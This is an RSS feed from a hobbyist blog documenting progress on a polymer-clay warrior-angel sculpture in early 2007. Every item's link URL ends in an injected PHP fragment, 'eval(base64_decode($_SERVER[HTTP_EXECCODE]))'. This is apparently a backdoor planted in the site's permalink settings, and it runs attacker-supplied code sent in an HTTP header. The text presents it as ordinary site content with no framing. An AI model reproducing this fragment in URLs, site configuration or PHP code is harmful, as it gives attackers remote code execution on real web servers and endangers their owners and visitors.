http://www.warrior-angels.com Thu, 12 Jul 2007 11:47:02 +0000 http://backend.userland.com/rss092 en The picture is not that great but you can sense the overall feel of the sculpture now with the sword in the angel's hands. I still need to finish off the right leg and lengthen the arms but after that it will be time to work on the wings ... http://www.warrior-angels.com/2007/03/03/adding-a-sword/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I have made some progress on the detail work for the upper legs. Most of my attention has been on the angel's left leg so I still need to spend some time working on the right one. Once the upper legs are complete I will move onto the ... http://www.warrior-angels.com/2007/02/20/20/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I'm starting to build out the angel's legs now. There are no details added yet and I'm working on refining the shapes but the pose is starting to come together now. I haven't fully decided if I want to lean the legs down more (make them smaller) and I'm ... http://www.warrior-angels.com/2007/02/17/blocking-out-the-legs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Ok, I finally have the upper body at a stage where I'm ready to move on and start building out the legs. I still may need to revisit parts of the upper body down the road but for now the sculpture is baked and ready to move onto the ... http://www.warrior-angels.com/2007/02/15/upper-body-close-to-completion/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Probably doesn't look like I've done much but I have spent quite a few hours on this since the last update. It is amazing how you can start sculpting something that would seem to be simple like the hair, look down a little later and just about have your eyeballs ... http://www.warrior-angels.com/2007/02/10/update-on-the-angels-face/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I'm starting to work on the back now and have it pretty much blocked out. The next stage is to fine tune the anatomy and then start working on the detailing. While I'm working on the back I will move back and forth to the other body parts ... http://www.warrior-angels.com/2007/02/02/blocking-out-the-back/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Making progress slowly but surely. The face is starting to come along now but it looks like I need to bulk up the angel's right arm a little to match the left. I still need to finish the left forearm, back of the left bicep and the angels back. ... http://www.warrior-angels.com/2007/01/30/updated-angel-pics/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Unfortunately I haven't had as much time as I would like to work on my sculpture this week but it is still coming along. I did get a chance to work a little on angels left forearm, back and face which you can see some of the changes in the ... http://www.warrior-angels.com/2007/01/26/forearm/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The front portion of the torso is now coming closer to completion. I still have to work more on the abdomen but I am close to finishing it now. The forearms will be next and I am constantly working on the face. I will save the hands for last since they ... http://www.warrior-angels.com/2007/01/20/13/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I decided to bake the angels right arm and chest with my heat gun to eliminate the chance that I would mess up the detail work while working on the rest of the sculpture. You can view the tutorial on how I did this at my Polymer Clay Fan ... http://www.warrior-angels.com/2007/01/20/baking-in-stages/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/